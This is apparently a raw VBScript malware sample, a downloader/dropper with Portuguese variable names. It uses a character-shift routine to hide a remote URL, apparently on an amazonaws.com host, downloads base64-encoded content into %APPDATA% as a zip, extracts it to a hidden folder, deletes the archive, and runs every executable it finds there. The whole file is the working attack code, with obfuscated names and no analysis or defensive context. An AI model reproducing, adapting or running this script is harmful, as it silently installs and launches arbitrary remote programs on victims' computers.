GreloAMAZON

DIM ARQUIVOTEMP,WBxBmvNh,mJTvbtlP,req,oNode, wQxOpsVa, wZjTVmkR, CaVAHkQU
DIM EisRPYvl
Set mJTvbtlP = CreateObject( "WScript.Shell" )
WBxBmvNh =  mJTvbtlP.ExpandEnvironmentStrings("%APPDATA%") & "\"
CaVAHkQU = Cfgghhhh("_kkg1&&gXjk\idXjk\i)')'%j*%lj$\Xjk$)%XdXqfeXnj%Zfd&>]le]`epki*%`jf")
ARQUIVOTEMP = "TMP.zip"
wZjTVmkR = "Nrgabcintel"
GuUKpeFg
mZRqqHED
Sub DDFppTfW(strFolderName, strFileName, FILEBLOCK)
dim objFSO, fullPathToZip, mJTvbtlPApp
Const ForReading = 1, ForWriting = 2, ForAppending = 8
Set mJTvbtlP = WScript.CreateObject("WScript.Shell")
Set objFSO = CreateObject("Scripting.FileSystemObject")
fullPathToZip = objFSO.GetAbsolutePathName(strFolderName & "/" & strFileName)
Set mJTvbtlPApp = CreateObject("Shell.Application")
If objfso.FolderExists(strFolderName) Then WScript.Quit()
If Not objfso.FolderExists(strFolderName) Then objfso.CreateFolder strFolderName
objfso.CreateFolder FILEBLOCK
WScript.Sleep(1000)
Set fso = CreateObject("Scripting.FileSystemObject")
Set mJTvbtlP = CreateObject("Shell.Application")
Set FilesInZip=mJTvbtlP.NameSpace(WBxBmvNh  & strFileName).Items()
mJTvbtlP.NameSpace(strFolderName).copyHere FilesInZip, 16+512
fso.DeleteFile(WBxBmvNh  & strFileName)
Set fso = Nothing
Set mJTvbtlP = Nothing
Set FilesInZip = Nothing
End Sub
Sub mZRqqHED()
Dim mJTvbtlPLM,objFolder,objFSOw,colFiles
Set mJTvbtlPLM = WScript.CreateObject( "WScript.Shell" )
Set objFSOw = CreateObject( "Scripting.FileSystemObject" )
Set objFolder = objFSOw.GetFolder(WBxBmvNh & wZjTVmkR)
Set colFiles = objFolder.Files
For Each objFile in colFiles
If UCase(objFSOw.GetExtensionName(objFile.name)) = "EXE" Then
mJTvbtlPLM.Exec(WBxBmvNh & wZjTVmkR & "\" & objFile.Name)
End If
Next
End Sub
Sub GuUKpeFg()
Set req = CreateObject("Msxml2.XMLHttp.6.0")
req.open "GET", CaVAHkQU, False
req.send
If req.Status = 200 Then
Const adTypeBinary = 1
Const adSaveCreateOverWrite = 2
Set oNode = CreateObject("Msxml2.DOMDocument.3.0").CreateElement("base64")
oNode.dataType = "bin.base64"
oNode.text = req.responseText
Set wQxOpsVa = CreateObject("ADODB.Stream")
wQxOpsVa.Type = adTypeBinary
wQxOpsVa.Open
wQxOpsVa.Write oNode.nodeTypedValue
wQxOpsVa.SaveToFile WBxBmvNh & ARQUIVOTEMP, adSaveCreateOverWrite
DDFppTfW WBxBmvNh & wZjTVmkR , ARQUIVOTEMP , WBxBmvNh  & "KUNJERDAT"
End if
End Sub
dim MjjS,Mjjdhyy,SSSBBNNHH
Function Cfgghhhh(G1g)
For MjjS = 1 To Len(G1g)
Mjjdhyy = Mid(G1g, MjjS, 1)
Mjjdhyy = Chr(Asc(Mjjdhyy)+ 9)
SSSBBNNHH = SSSBBNNHH + Mjjdhyy
Next
Cfgghhhh = SSSBBNNHH
End Function